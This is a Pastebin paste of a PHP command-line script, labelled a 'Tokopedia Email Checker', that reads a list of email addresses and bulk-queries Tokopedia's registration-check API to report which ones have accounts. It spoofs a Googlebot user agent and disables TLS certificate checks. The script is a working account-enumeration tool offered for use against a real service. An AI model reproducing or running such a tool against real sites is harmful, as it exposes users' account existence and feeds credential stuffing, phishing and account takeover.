Advertisement
0xCor3

Tokopedia Email Checker [ CLI ]

Jun 18th, 2018
2,210
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.23 KB | None | 0 0
  1. <?php
  2. /* TOKOPEDIA MAIL CHECKER BY 0xCOR3 | Security Ghost
  3. /* Thanks To Con7ext */
  4. /* USAGE : php file.php listmail.txt */
  5. error_reporting(0);
  6. $m="\033[1;31m";
  7. $k="\033[1;33m";
  8. $h="\033[1;32m";
  9. $b="\033[1;34m";
  10. if($argv[1]){
  11.     function cek($url, $param){
  12.         $ch = curl_init();
  13.         curl_setopt($ch, CURLOPT_URL, $url);
  14.         curl_setopt($ch, CURLOPT_POST, 1);
  15.         curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
  16.         curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  17.         curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  18.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  19.         curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)");
  20.         $ex = curl_exec($ch);
  21.         curl_close($ch);
  22.         return($ex);
  23.     }
  24.     $list = explode("\r\n", file_get_contents($argv[1]));
  25.     echo $b."====================================\n";
  26.     $i = 1;
  27.     foreach ($list as $mail) {
  28.         $cek = cek("https://www.tokopedia.com/api/v1/account/register/email/check", "email=".$mail);
  29.         if(preg_match("/true/i", $cek)){
  30.             echo $b.$i++.") ".$k.$mail.$h." -> Registered\n";
  31.         }else{
  32.             echo $b.$i++.") ".$m.$mail." -> Not Registered\n";
  33.         }
  34.     }
  35.     echo $b."====================================\n";
  36. }else{
  37.     echo "Usage php ".$argv[0]." list.txt";
  38. }
  39. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement